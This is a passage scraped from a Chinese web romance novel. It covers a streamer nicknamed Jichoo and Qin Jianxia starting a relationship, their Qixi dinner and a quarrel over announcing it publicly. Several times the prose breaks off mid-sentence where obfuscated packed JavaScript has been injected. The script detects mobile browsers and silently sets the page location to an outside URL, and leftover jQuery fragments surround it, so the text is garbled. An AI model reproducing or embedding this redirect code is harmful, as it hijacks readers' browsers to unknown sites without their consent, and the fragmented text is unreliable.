没等他问出那个问题,秦见夏就捶了捶他的背:“咱们能不能赶快回家,为什么非要在马路上抱着?演偶像剧呢?” “你不觉得雨天在东方明珠底下很浪漫吗?”谈继秋吸着鼻子说。 秦见夏无语地摸了摸他湿漉漉的头发:“那请问这位先生,您带伞了吗?” 谈继秋尴尬道:“……没带。” “没带伞浪漫个屁啊,”秦见夏奋力挣开他的臂膀,不由分说地拉着他走进雨里,“要是我又感冒了明天上不了班我将唯你是问!” 谈继秋感到自己刚刚还烂在泥里,心脏一下子又窜入云端,此刻连淋雨都感觉不到。 一低头瞧到秦见夏的头发已经被淋湿,连忙试图用手帮她遮雨。 “区区毛毛雨,你别遮了,快跑两步就不用淋了。” 秦见夏倒是蹿得飞快,一股脑钻进车里。 好在谈继秋担心她夜晚着凉,特意拿了件自己的薄外套,现在刚好派上用场。 秦见夏并不冷,以晋海的气候,高温又降点雨,属于蒸馒头又往锅里倒点水,然而拗不过谈继秋,只好将他外套老实披上。 兴许是刚才的拥抱过于突如其来,此时氛围一散,两人都有些不知从何说起。 车内一片诡异的沉默。 谈继秋故作专心开车,秦见夏故作闭眼小憩,彼此都心知肚明。 半小时车程,秦见夏偶尔掀起眼皮,悄悄打量他两眼。 谈继秋和林居奕是截然不同的人。 林居奕活泼、阳光、直来直往、富二代、海归,甚至和她更有共同话题。 秦见夏曾经以为,这类男生是她的理想型,和这种阳光的才能谈到健康恋爱。 谈继秋却和他截然相反,他敏感、内耗、死气沉沉、不善沟通,习惯将负面情绪藏进心里。 匪夷所思的是,一向完美主义的秦见夏偏偏就喜欢上谈继秋了。 她怎么会看不出来他在努力扮演成二十四孝好男友的样子? 即便他的确对她极有耐心,但他的黑眼圈也确实越来越严重了。 也不知道是在内耗还是在熬夜补课。 他像美术馆里高贵精致的雕塑,平日在游客面前冷艳地遮住裂痕,一副可远观不可亵玩的姿态。 却唯独在她一人面前拼命粉饰瑕疵,试图展现完美形象。 秦见夏有时候真想让他别这么累。 然而谈继秋又像是真情流露后的努力,颇有如此扮演一辈子下去的架势。 两个人都很矛盾。 但,言而总之,她心疼他。 秦见夏不知道这种感觉因何而起。 她未成年时的喜欢,的确只是肤浅地因为他长得帅,以及那一把逆风翻盘带来的年少热血。 这种不带一丝杂念的敬仰,不知从什么时候起,基因突变了。 或许是现实中见到他的第一面,亦或许还要往前追溯。 反正,她喜欢谈继秋胜过Jichoo。 比起那个杀伐果断、万人敬仰的人气选手,她还是更喜欢现实中活生生的他。 他会像老父亲一样不厌其烦地叮嘱,也会被她气到委屈地掉眼泪。 现在只要他一个眼神,秦见夏都认为是全世界在亏待他。 这并不是同一种喜欢,她分得清。 小时候那种喜欢是毫无分别的,小猫小狗男的女的花朵文具,喜欢就要让所有人都看到,哪怕写进日记本里也要故意让好朋友瞧见。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953540|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 长大后的喜欢会埋进心里,害怕别人发现它、将它夺走,又害怕它察觉到因而泄出一丝一毫的烦恼或者厌恶。 喜欢得又爱又痛,但还是不愿意放手。 人类自诩高级动物,却总在“爱”面前失去理智,心甘情愿将最脆弱的脖颈递到对方的刀刃上。 可这明明和人类的生存本能相悖。 爱,似乎是人类在对抗自己的天性。 秦见夏下车时,认为自己简直可以写出一篇关于人类与爱情的哲学论文。 “在想什么这么入神?”谈继秋问。 秦见夏若有所思道:“我在想,哲学届失去我简直是人类的一大损失。” 谈继秋:“……?” 秦见夏直接乘电梯到三楼,准备洗个热水澡,换掉湿衣服后再去找谈继秋开诚布公地谈一谈。 碰巧在走廊偶遇小如,小如八卦地凑上来问:“怎么样了?那个海归男怎么说?” “和海归男没戏,”秦见夏淡淡吐槽,“思来想去我还是更喜欢处|男。” 小如:“……” 小如:“那你和Jichoo看来是天生一对。” 她开玩笑扔下句“贞洁是男人最好的嫁妆”,扭头开门走进房间。 阖上房门,秦见夏又有些想要逃避。 要不然拖到开学呢?反正只剩两周了,让彼此都多开心几天不好吗?非要现在把这层窗户纸捅破,最后搞得大家都不痛快? 秦见夏纠结了整整半个小时,还是决定主动出击。 房门被轻轻叩响,发出“砰砰砰”的声音,与心跳合上几拍。 谈继秋用毛巾擦着头发,将门打开。 秦见夏整个人浸在光里,穿着一套嫩黄色睡衣,令谈继秋莫名想起小学门口卖的小鸡崽。 “谈继秋,你怎么不爱开灯呀。” 秦见夏忍无可忍地彻底将房门推开,阔步走进来,“啪”地一下将所有灯打开。 房间内顿时灯火通明。 谈继秋还在怔愣地擦着头发,被她气势汹汹的态度惊到,下意识后退几步。 秦见夏随即把门闭上,抱起双臂,冲谈继秋扬了扬下巴:“坐下,我们谈谈。” 谈继秋顺从地在一旁的椅子上坐好,将毛巾搭在肩膀,潮湿的头发为他平添几分乖巧,一副静候发落的样子。 “事先声明,我很喜欢你。” 秦见夏仿佛领导讲话般,在房间内背着手踱步:“可是我们现在只有两个选择。” “第一,我们在一起……” “好!”秦见夏还没说完,谈继秋当即激动地连连点头答应,生怕她反悔似的。 “等等——我话还没说完呢,”秦见夏无语凝噎,“我先给你推演一下,我们在一起,但我未来不打算留在晋海,我要回南城陪我爸妈,所以我们只能异地恋,但我不喜欢异地恋,结局只能分手。” “与其遗憾分手,那我觉得还不如不要开始,”秦见夏垂眸瞥向他,“你说呢?” “综上所述,我们其实只有一个选择。” “那就是好聚好散,只当好朋友。” 谈继秋:“?” 谈继秋猛地顿住,盯向她的眼珠都在微微颤抖,似乎有点不敢相信自己的耳朵。 他听到秦见夏依旧滔滔不绝:“我们学校开学之后不一定有没有课,如果要上课的话,我九月份就离开了,也就最后两周时间……房租我会付你双倍,包括之前的医药费和各种杂七杂八的费用。” “我这个人不喜欢欠别人钱,所以,我们之间就两清了……” 话音刚落,她的手腕突然被人攥住,整个人天旋地转,倒进男人怀里。 谈继秋以吻封唇,堵住她的惊呼声。 “现在还两清吗?” “只当好朋友?” “唇友谊?” “我忍你很久了秦见夏。”谈继秋呼吸急促,潮热的气息洒在秦见夏耳边,不知道是他的呼吸更烫,还是她的耳朵更烫。 他发尾水渍受惯性影响滴在她额间,仿佛也在心底晕开。 秦见夏听到他翁翁的声音传来—— “这是我的初吻,你必须对我负责。” 63. 在一起 趁秦见夏大脑宕机间隙,谈继秋语速飞快道:“谁说我们一定要异地恋了?我在哪直播都一样。” “可是我听Dollar说你在晋海买房了?” “卖了不就行了,反正还没装修。” “你当房子是大白菜啊,说卖就卖。” “总之,只要我们在一起,别的都不是问题。” 秦见夏坐在他怀里,不可置信地再度确认:“你愿意跟我回南城?” “回”这个字,让谈继秋感到一丝满足,他认真点头:“我愿意。” “为什么不愿意?我觉得在哪都一样。” 秦见夏有种他在说“YesIDo”的错觉。 “行,”她郑重其事道,“那句话你来说。” “咱们在一起吧。” 谈继秋笑着亲了亲她的头发。 “好——”话音刚落,秦见夏动了动身子,忽觉不对,僵硬地低头瞧了一眼,整张脸顿时通红,头发都烧着了似的,她连忙起身跳开,大吼道,“谈继秋!你!!” 谈继秋也尴尬地垂下头,羞赧道:“抱歉,我……” 房间内安静了整整半分钟,两人都红着脸,谁也不好意思看谁。 谈继秋更是假装忙碌地擦起头发。 秦见夏忽然清了清嗓子,故作随意地说:“你这硬件倒是还不错,果然人不可貌相……” 说完感觉气氛更尴尬了。 秦见夏:“……” 谈继秋:“……” 谈继秋:“难道我看起来很不行吗……?” 秦见夏:“你看起来是随时要嗝屁的那种状态。” 谈继秋扬起死亡微笑:“回头你就知道嗝屁的是谁了。” 秦见夏秒懂,当即夺门而逃:“拜拜晚安明天还要上班我先走了——” 谈继秋好笑地看着她落荒而逃的背影,认命般放下毛巾,起身再度走进浴室。 翌日一早,两人照例在地库汇合,明显都是一副睡眠不足的状态。 互相疲惫地打完招呼后,一个僵硬地小跑去副驾,一个僵硬地拉开车门坐了进去。 “你——” “你——” 车内,两人异口同声地鼓起勇气开口,又异口同声道:“你先说。” 谈继秋挠了挠后脑勺,耳尖烧红:“你觉得,我们要不要官宣一下?” “不用了吧!”秦见夏急忙道,“回头再说呗,咱俩先谈着。” 眼见对方的脸色以肉眼可见的速度消沉下去,秦见夏连忙又补充:“咱们都是事业上升期,我现在也有一万多粉丝了,我是觉得咱俩谈个恋爱没必要搞得人尽皆知,你说是吧,万一之后……” “秦见夏!”谈继秋有些不高兴,“怎么才第一天谈恋爱你就想着分手?” “你是不是根本就不喜欢我?” “没有没有啊,怎么又扯到这里了。” 秦见夏急忙去抓他的手,却被他幼稚地挡开,她只能解释:“哎呀,我的意思是你可以发个朋友圈,社交媒体就别发了。” “我只是不想被别人打扰,你粉丝那么多,万一有人来骂我怎么办?而且我还要回学校呢,公开的话我真不知道怎么面对同学们了!” “也对,”谈继秋很快消气,主动握住秦见夏的左手,与她十指交扣,“那我发个朋友圈官宣行吗?我看他们谈恋爱都官宣。” 秦见夏:“……” 这真的很幼稚。 但…… “那好吧,”秦见夏任由他拍了牵手成功的照片,又亲眼看到他在倒数日里记录了恋爱开始日期,不可置信地瞪大眼睛,“你是小学生吗?” 谈继秋嘚瑟地挑了挑眉,总算启动车子:“这可是我的初恋,需要一些仪式感。” “当然我确定这也是最后一次恋爱。”谈继秋又补充。 秦见夏无语地翻了个白眼,抽回手交代他好好开车,她抱着双臂偏头看向窗外,嘴角控制不住地上扬。 又是风和日丽的一天,阳光穿过车窗,熨斗似的将万物熨烫平顺,空气里充斥着令人安心的暖烘烘的气味。 “对了,你刚刚想跟我说什么?”谈继秋语气甜蜜。 秦见夏吃完最后一口三明治,擦了擦嘴:“我想邀请你和我一起过七夕!今天天气不错,我们去昨天那家旋转餐厅看日落好不好?” “昨天你和crush约会的地方?秦见夏你有没有良心……” 秦见夏抓狂:“都、说、了、不、算、约、会!我是觉得在那个地方看日落很浪漫,想和你一起嘛。” 她说想和他一起诶。 这句话对他挺受用。 “那也不行,”谈继秋分析道,“你六点下班,市中心又堵车,等咱们赶过去早就落完了。” “而且,你连续两天吃同一家餐厅,不嫌腻吗?” “有道理,”秦见夏喝了口热牛奶,“那你订餐厅吧,我请客,最好不要超过人均五百。” “行,你请客我买单。” 秦见夏无奈地嗤笑一声,从后座拿过包,正欲拉开车门与他道别,却被谈继秋抓住手腕。 “等等——” “嗯?”秦见夏疑惑回头,不明所以地问,“还有什么事?” 谈继秋解开安全带,用食指点了点自己的脸颊,扬着眉,笑容惬意:“有没有早安吻啊?女朋友。” 握着她手腕微微颤抖的指尖出卖了他的紧张。 两人虽说也不是少年了,但都是第一次谈恋爱,彼此努力壮着胆子青涩地触碰对方,颇有种豁出去了的意味。 他的笑容实在明媚,秦见夏盯着他近在咫尺的脸颊,被阳光晃了眼睛,忍不住用双手抚上他的侧脸。 在谈继秋骤缩的瞳孔中,倒映出秦见夏落在他唇上的轻轻一吻。 他的嘴唇像果冻一样,软绵绵的。 昨晚光顾着震惊,今天终于又尝到一遍。 谈继秋还没反应过来,秦见夏像逗小狗那样用手挠了挠他的下巴,随后拉开车门,心情愉悦地转身离开。 “我去上班啦~” 秦见夏拎着包往公司走,回味着刚刚的触感,心中一片滚烫。 果然女人还是要亲嘴才有力气讨生活啊! “啪”地一下,车门应声关闭,车内恢复一片宁静。 手腕处震了震,手表屏幕上一颗红色电子心脏不断跳动,提示他此刻心动过速。 谈继秋双手搭在方向盘上,将整颗脑袋都埋进臂弯,只露出充血的耳尖,连同后脖颈都通红一片。 Watch的心率提示还在继续。 周二仍然是忙碌的一天,秦见夏一刻也不停歇地作图到十一点,才总算赶完今天的需求。 最后半小时,秦见夏用电脑版微信刷了刷朋友圈,给朋友们挨个点完赞后,翻到了谈继秋发的官宣图。 依旧是他装*的风格,也不配文,只是放了两张图。 一张图是他俩早上在车里拉手的照片,一张是?DaysMatter的截图。 秦见夏:“……” 有一种穿越回到高中的错觉。 她这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967607|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能看到Dollar和小如的祝贺,于是也尴尬地点了个赞。 赞完一秒收到谈继秋的消息。 谈继秋:「图片」 谈继秋:「预订好了,这里可以看到东方明珠/呲牙」 秦见夏一看是丽思卡尔顿酒店的52楼,隐隐有种预感地借厕所摸鱼的功夫,打开美团搜索了一下。 人均六百。 一顿饭吃掉秦见夏四分之一的月薪。 不知为何,她莫名有种农民工和男大学生谈恋爱那种出租屋文学的朴实之感。 他想去就咬咬牙去吧。 总不能让人家“电竞文男主”过七夕陪自己一起吃拼好饭啊。 她当即决定下午去多拍点照片,顺便录一下vlog,不能白白浪费这顿饭…… 秦见夏连忙给小如发微信:「小如姐,能不能麻烦你帮我把我书桌上的美妆包交给谈继秋,我下午要化个妆~~」 小如很快回:「没问题」 小如:「七夕快乐/阴险」 好在秦见夏今天也没穿烂短袖,她想着晚上要去约会,所以特意早起了十五分钟搭配衣服。 白色荷叶边收腰短上衣配黑色丝绸质地的长裙,鞋子也没穿洞洞鞋,穿的是小CK的黑色尖头平底链条单鞋。 她低头看了眼因蹲坑而艰难撩着的裙子,不由得叹息一声,约会真麻烦。 下午六点,谈继秋接上秦见夏前往外滩。 今天比昨天还堵,感觉全晋海的人都要去陆家嘴约会。 不过,刚好给秦见夏留出了化妆时间。 小如十分贴心地检查过她的化妆包,还给她塞了手持镜和新送她的眼影盘。 秦见夏坐在副驾上,艰难地拆了副日抛,将车载化妆镜拨下来,一边扒开眼皮,一边对司机说:“你可得开稳点,我要戴美瞳,别把我眼睛搞瞎了……” “放心,”谈继秋频频扭头,好奇地打量秦见夏,“现在特别堵。” 秦见夏感觉戴美瞳的自己很狼狈,怒道:“不要看我!” “好的秦小姐。”谈继秋立刻老老实实地继续目视前方。 她戴好美瞳后,打开手机前置相机,找了个勉强能照到脸的位置立着,谈继秋又好奇地问:“你要像小如一样拍美妆视频吗?” “当然不,”秦见夏一边涂隔离一边说,“因为你们都吐槽我无效化妆,所以这次我将一雪前耻!看着相机化就知道多浓才不会吃妆了。” “原来如此,”谈继秋十分好学,“你刚刚不是抹完一遍那个能变白的液体了吗,怎么又在涂液体?” “这是粉底,”秦见夏感觉自己在给小学生上课,无奈地说,“看得出来你之前确实没谈过女朋友了。” 她边涂粉底液边问:“小如姐和Dollar去哪里约会啦?” 谈继秋嗤笑道:“他们应该去大疆约会了。” 秦见夏:“?” 谈继秋解释:“他们打赌我们什么时候在一起,小如赌月底前,Dollar赌七夕前。由于咱们是在七夕前一天在一起、又在七夕当天官宣的,所以两人决定一人掏一半,今天就去买action4。” “他俩买完可能直接去海底捞了,”谈继秋说,“他们在一起七年了,不在意这个。” 秦见夏闻言放下散粉,惊喜回头:“那咱们以后也海底捞庆祝呗,我就乐意吃点火锅。” 这一顿漂亮饭直接吃进去差不多一台action4了,她是真有点肉疼。 “不行,”谈继秋冷脸打断,“我们要有仪式感。” 64. 喜欢你 秦见夏:“……” 秦见夏:“你能不能少刷点恋爱教程。” 谈继秋:“No.” 秦见夏无奈地继续定妆,余光瞥见窗外的车水马龙,边化妆边陷入沉思。 不会堵到九点才到那吧…… 餐厅九点半打烊,半个小时速吃? 秦见夏没拿刷子,直接用手指进行涂抹,好在今天这装扮简单涂个灰色眼影就很搭,也不太需要眼影刷。 这段路程相当堵,车子几乎不动,所以她先把眼妆化了,特意用眼线液笔化了个比之前挑的眼线,没有手抖。 秦见夏嘚瑟地扬起下巴,给谈继秋展示:“怎么样?今天不可能是无效化妆了吧?” “你眼尾那里怎么有一条黑色的线?”谈继秋疑惑地指了指,“这有什么作用?证明你化了妆?” 秦见夏放下眼线笔,险些被他气死:“这样就显得我眼睛又大又挑!我简直跟你尿不到一个壶里!” 虽然她只会化眼尾的那半截眼线,但它还是能起到作用的! 本次妆容最遗憾的是没有粘假睫毛,不然显得她眼睛更大。 最成功的地方在于打开相机镜头终于不吃妆了,现实里浓点倒无所谓,手机里好看更重要。 恰逢红绿灯间隙,秦见夏美滋滋地给谈继秋展示了一下最终效果。 保险起见,谈继秋仔细端详了半分钟左右,才开口评价:“鼻梁比之前挺,口红比之前红,眼睛比之前大,脸比之前白,就是鼻尖涂得太黑,不如你素颜的时候好看……其实,我还是更喜欢你不化妆的样子。” “这可是盒型鼻!我刚刚特意找教程学的!”秦见夏不想理他,拿起手机自拍了几张发给小如看。 车内顿时响起一阵咔嚓咔嚓的拍照声。 谈继秋扶着方向盘,一边笑一边觉得她好可爱。 女生真的是有趣的生物,她们居然能发明那么多小装备在脸上使用,程序复杂,且每一种都有不可替代的用途,仿佛给脸也设计了不同的皮肤。 秦见夏化妆的样子,很像忙碌的小仓鼠。 她今天还准备贴甲片,又给谈继秋带来了一些小小的震撼。 秦见夏用果冻胶往指甲上贴着黑灰渐变猫眼美甲,听到谈继秋不解地问:“指甲居然也可以作假?” “那是当然,”秦见夏得意地冲他挑了挑眉毛,“今天我可是全副武装。” 谈继秋见她这副小表情,又忍不住唇角上扬。 她现在更像是一只暹罗猫了。 装扮完毕后,秦见夏将东西收拾好,又在车上录了段vlog素材。 她缩在角落,尽量只拍到自己的脸,搞得谈继秋忍不住微微抱怨:“难道我很见不得光吗?” “嘶——” 他一出声白录了。 “闭嘴开你的车。” “嗻。” 两人在七点多顺利到达餐厅,谈继秋下车时,她才发现他今天穿了全套西装。 真的挺有仪式感了。 剪裁得体的高定西装搭配一条藏蓝色领带,再往上是微微凸起的喉结,和难得意气风发的俊脸。 黑色西装衬得他皮肤更加白皙,薄如蝉翼的眼皮和弧度完美的上挑眼尾,看得秦见夏感叹一句“果然是电竞维纳斯”。 奇妙的是,他平日看着清瘦,穿上西装后身材却显得十分得当,从头到脚都恰到好处。 秦见夏视线向上游离,盯着他红润的唇瓣,暗暗后悔,怎么刚才涂口红前没抓着他猛亲两口。 “看我干嘛?”谈继秋下意识走来,不解地牵住她的手,“我脸上有东西吗?” “你先别说话,”秦见夏脸红道,“回家再亲。” 谈继秋:“?” 谈继秋订的位置在窗边,恰好可以将整个东方明珠尽收眼底。 底下仍旧灯火璀璨,日复一日,令秦见夏莫名产生一种自己已经融入晋海的错觉。 光影虚浮,仿佛酒精入杯时产生的浮沫,金玉其外,如梦如幻。 在这座城市迷失,似乎是一件太过寻常的事。 高塔之上,一小块佳肴的价格,或许就是有些人勤恳工作一月的薪资。 那点微不足道的“血汗钱”,扔进这里,甚至根本填不饱肚子。 是红底鞋踩过的泥灰; 是拂过钢铁森林的砂砾; 是一点点溅起的水花,载起了古老的舟。 秦见夏忽然感到一种,莫大的悲哀。 这不是没由来的,她想,这或许与生俱来。 她穿着廉价的网购衣服、脚踩大牌仿款,白天当唯命是从的牛马,晚上却扮演都市丽人,打卡昂贵的意大利氛围感餐厅,甚至还试图在社交平台上将自己也包装成“精英”。 然而,这却是她小时候梦寐以求、想要成为的“成功人士”。 秦见夏霎时间如坠冰窟。 是谈继秋的声音将她拉回平地。 “怎么了,身体不舒服?”点完餐后,谈继秋注意到秦见夏望向窗外,神色异样,便耐心询问,“是不是不喜欢这里?那我们现在换一家?” “不,我很喜欢。” 秦见夏回过神来,微笑着摇了摇头。 “我就是觉得,我好像已经过上小时候的理想生活了。” 她意味不明地说。 “可是你并不开心,”谈继秋语气笃定,“对吗?” 秦见夏抿起唇,想了想,说:“你知道吗,如果没有你的话,我可能这辈子都不会进这样的餐厅消费。” “我一天的日薪,竟然买不起五十二楼的一道菜。” “在这里吃饭是让你感到有压力了吗?” “不,”秦见夏说,“不是。” “我是想说,你知道我每天工作八小时有多累吗,”她盯着他的眼睛,语调平平,听不出其中意味,“我每天要完成领导的全部任务,不仅如此,还有或许能彰显他威严的额外附加工作,电脑都做死机了,但我不能死机。我的手腕、眼睛、脖子,没有一处是不痛的。” “我刻苦了十七年,可我依旧支付不起这里一道菜的价格,”她只是平静地叙述,“难道是我不够努力吗。” “我也不知道我想说什么。” “我也不知道我该怎么说。” “我也不知道我说了又能改变什么。” “但是我想,我应该说点什么。” 秦见夏承认自己有些扫兴,总之,便如此实话实说了。 谈继秋听后沉默许久,认真地说:“你来到这里,能发出这个疑问,它就可以改变。” “我们是一条船上的人,你要的答案我这里没有,教科书上也没有,或许根本没有标准答案,”他为她倒着红酒,嗓音温和,“你的感受才是重中之重,不是吗。” “我们想挑选氛围好的餐厅过七夕,所以我们来了。” “我们觉得不喜欢这里,所以我们可以随时走,至于它是什么,对我们来说这不重要。” “这个夜晚开心也是过、不开心也是过,那我们为什么不享受当下呢?” 谈继秋其实是很纯粹的一个人。 或者说,他应该是很适合当修行者的人。 他身上蕴含着一种朴素的大道至简的处事风格,但他自己意识不到。 这种“人生准则”与现实背道而驰,他痛苦,却不改其分毫。 他眼里没有芸芸众生 ——如今有了。 谈继秋问:“我们要不要改成海底捞?” “或者烧烤?前两天你不是说想吃烤肉吗?” 秦见夏不由得嗤笑一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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七夕、在一起的第一天、又恰逢第一次约会。 送红玫瑰显俗、送向日葵场合不对,于是只能漫无目的地刷着小红书,试图汲取一些灵感。 刚好有一束花映入眼帘。 以深浅不一的黄玫瑰为主花,浓郁的黄色间点缀着几枝小雏菊和冷色调的蓝星花。蓝色却不显突兀,反而将花束衬托得更为灿烂。 鲜花四周围绕着生机勃勃的绿铃草,整体被淡粉色的艺术纸包裹在一起,鲜艳、夺目,又朝气蓬勃。 这简直就是为秦见夏量身定制的花束。 花店搭配的文案是—— “在这个发霉的世界,我想被阳光晒透。” 谈继秋心神微动,当即联系店主。 这刚好是晋海的花店,也刚好花材齐全。 他忍不住揣摩起命运遗落的痕迹,或许他和秦见夏是天赐良缘。 “谢谢你,谈继秋,”秦见夏郑重其事地接过他递来的花束,千万种触动化作一句,“我真的很喜欢。” 谈继秋垂眸望向她明艳的眉眼,笑容温和,语气诚恳:“七夕快乐,秦见夏,我真的、很喜欢你。” “我爱你”显得轻浮,“爱”这个字太沉重,谈继秋更愿意用“喜欢”。 单方面的、不对她造成任何负担的——他希望她一直轻盈下去。 于他而言,芸芸众生中闯进来一个秦见夏。 她便是芸芸众生。 “我也是,我也很喜欢你!” 秦见夏不敢说“我们要一辈子在一起”,她担心造物主听到后反而将缘分收回。 此刻就很好了,真的。 “两位,我来帮你们拍个合照吧。” 刚刚被她求助的年轻侍应生接过她的手机,将瞬间定格。 秦见夏坐在米色麂绒扶椅上,将黄玫瑰花束揽在怀里,笑容明媚肆意。 冷俊清秀的年轻男人站在她身后,将手小心搭在椅背,唇角也染上笑意。 窗外灯火璀璨,这一秒却是独属于他们的繁华。 秦见夏感激道:“我很满意。” 65. 他的雨 谈继秋特意等秦见夏拍主菜照片的时候,从身旁的牛皮纸袋里取出一个白色盒子递给她。 秦见夏原本正举着手机找角度,准备拍出精装朋友圈的高逼格照片,谈继秋突然递来一个很大的纸盒。 “AirPodsMax!?”秦见夏惊喜接过,“你怎么知道我一直想买AirPodsMax但没舍得买的!” 谈继秋颇为得意地挑着眉:“心有灵犀。” “我也有礼物要送你!”秦见夏从包里掏出一个黑色包装盒,自配音效,“当当当当——XboxElite二代!” 她把盒子推到谈继秋面前,两眼发光,期待地问:“怎么样?喜欢吗!” 秦见夏的眼睛十分明亮,一眨一眨地,谈继秋不禁笑道:“非常喜欢,咱们可以一起玩双人成行了。” “可是——你的语气怎么这么平淡?一点激情都没有!” “我是觉得…你不用给我送顶配,这个钱你花在自己身上我会更开心。” “谈继秋你扫不扫兴!” “我错了……” 他立刻滑跪道歉。 “到底喜不喜欢?”她追问。 “当然喜欢——那我能拍照发微博吗?” 秦见夏果断拒绝:“不能。” 谈继秋:“……” “如果能拍照发微博说是女朋友送的,我就更喜欢了。” “不行。” “那我能暗戳戳地发个‘七夕快乐’的微博吗?不暴露其他。” “那也不行。” 这下轮到谈继秋不高兴了,他嘴唇抿成一道直线,问:“我们谈恋爱有这么见不得光吗?” “此言差矣,咱们可比小如姐他们见光度高。” 秦见夏对着耳机盒子疯狂拍照,头也不抬地说:“不是允许你发朋友圈吗?我得保护自己呀,现在还不是公开的时机。” “可是咱们的CP粉也很多啊。”谈继秋小声反驳。 “什么CP粉?”秦见夏迷茫抬眼,“咱俩还有CP粉?” “你居然不知道?”他打开手机,点了两下屏幕递给她,“自从你主动在小红书爆马后,咱们就彻底有CP超话了。” 谈继秋恍然意识到什么,这回有了“激情”,愤愤不平又带点委屈地问:“秦见夏,这都过去多久了你都不知道,你是不是一点都不在意我?” 拜托,他精装打扮又蹙眉扮可怜的模样,别提有多秀色可餐了。 但她总不能说—— 你还要我多在意你?我现在真想原地把你狠狠办了吧。 “我都大出血给你买Xbox了,这还不叫在意吗?” 秦见夏嘟嘟囔囔地接过手机一看,他俩的CP超话名叫“夏秋”,粉丝名叫“虾球”,甚至已经有两千多个关注超话的“虾球”了。 秦见夏:“!” “这什么情况?”秦见夏一边往下翻帖子,一边目瞪口呆,“我就是个普通人啊,这也能嗑?” “暂且不提学历和腾游实习生的身份,不到一个月的时间单枪匹马地把两个平台都做到五位数的粉丝,如果这也叫普通人的话……” “可我也是蹭了腾游、小如姐和你的热度啊,”秦见夏认为自己只是侥幸,“如果我不主动爆马、不拍腾游实习vlog,不可能会有这么多粉丝的。” “难道你还不明白吗?” 瞧着她不解的神情,他把那句“别人蹭热度、拍腾游实习vlog怎么没涨粉这么快”咽了回去。 谈继秋有点无语地笑了笑,心道你拍什么视频都有人愿意看的。 不过,她意识不到她比较讨人喜欢,这倒也是件好事。 他可没那么大方。 谈继秋垂眸看向她的眼睛,郑重其事道:“秦见夏,我早说过了,不会有人不喜欢你的。” “才不是呢,”秦见夏把手机推向对面,避开他的目光,自顾自地切起牛排,低声说,“我室友就不喜欢我啊……” “有时候我也觉得,可能我很招人烦吧,有人估计觉得我装装的、叽叽喳喳的……我上大学前在班里和同学们相处得很融洽,已经形成了一种社交的条件反射。但是,上了大学之后我才发现,我其实并不是那么受欢迎的人。” “其实,我也接受不了有人不喜欢我。” 秦见夏平淡地嚼着牛排,语气仿佛厚重的云层,缥缈又沉甸,然而谈继秋明白,她心里是难过的。 让完美主义者承认自己的不完美,真是一件糟糕的事情。 他没有过多安慰,只是风轻云淡地说:“有人觉得阳光温暖,有人觉得阳光刺眼,但太阳永远是太阳。” 谈继秋又觉得,将她比作太阳也不合适,她并没有那样一尘不染,炽热到高高在上的程度,反倒不可爱了。 她更像盛夏的太阳雨,罕见、短暂,是永远也抓不进手心的彩虹。 他只能在雨里伫立,任由雨水将他浇个透彻,似乎这样就能欺骗自己,这是独属于他的雨。 事实却并非如此。 她的朋友圈没有任何关于他的蛛丝马迹,谈继秋更像是谈了一场“仅自己可见”的恋爱。 这让他极度缺乏安全感。 “秦见夏,你真的很好,我很想公开。” 这一次他没有使用问句。 也不含任何的强迫性质。 只是……想让所有人都知道,他和秦见夏是更亲密的关系。 他不知道该不该将这种心理称为“占有欲”。 他只是觉得,自己在她那里,应该更特殊一些才行。 如果秦见夏眼里只有他一个人就好了…… 谈继秋不由得叹息一声。 秦见夏又吃了口意面,渣女一样画大饼:“等我毕业那天再公开好不好?你不是喜欢仪式感吗,这样更有仪式感对吧?” “不要再抿嘴了,回家奖励你香吻一个,”她埋头猛吃,含糊不清道,“快吃吧我拍好照了。” 勉强将他哄好。 秦见夏一阵心虚。 不想公开的最主要原因,还是对这段感情没有自信。 第一,她觉得自己和谈继秋之间并不对等。 他的性格、经济、成就等等各方面都比她成熟,简言之就是她配不上他。 第二,虽然他说了要搬去南城…… 但说是一回事,做又是另一回事。他们才确定关系不久,而且秦见夏还需在淮市完成学业,之后势必要异地一段时间,结果怎么样谁也说不准。 第三,在地位不对等时选择公开,谈继秋的流量一定会对她造成影响。 正面影响她暂时不太需要,负面影响她又不想接受,秦见夏还是计划先打造个人ip,而不是被贴上“Jichoo女朋友”的标签。 况且,秦见夏觉得公不公开是完全无所谓的事情。 他们谈恋爱又不需要天天向粉丝报备,发发打码朋友圈过过瘾得了。 她也不是很理解,谈继秋究竟为什么执着于公开这件事。 反正先糊弄过去再说。 秦见夏思及此,再度支起手机录视频,心道还是事业要紧。 用完餐后,谈继秋提议去江边走走,秦见夏摇头晃脑地拒绝了,硬要回家。 酒精在她脑中发酵,眼里只剩下他一张一合的唇。 车子刚在车库里停稳。 谈继秋还没来得及熄火,就被“咔哒”一声解开安全带。 秦见夏拽住他的领带,将他上半身扯过来,然后准确无误地印在他唇上。 她心说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 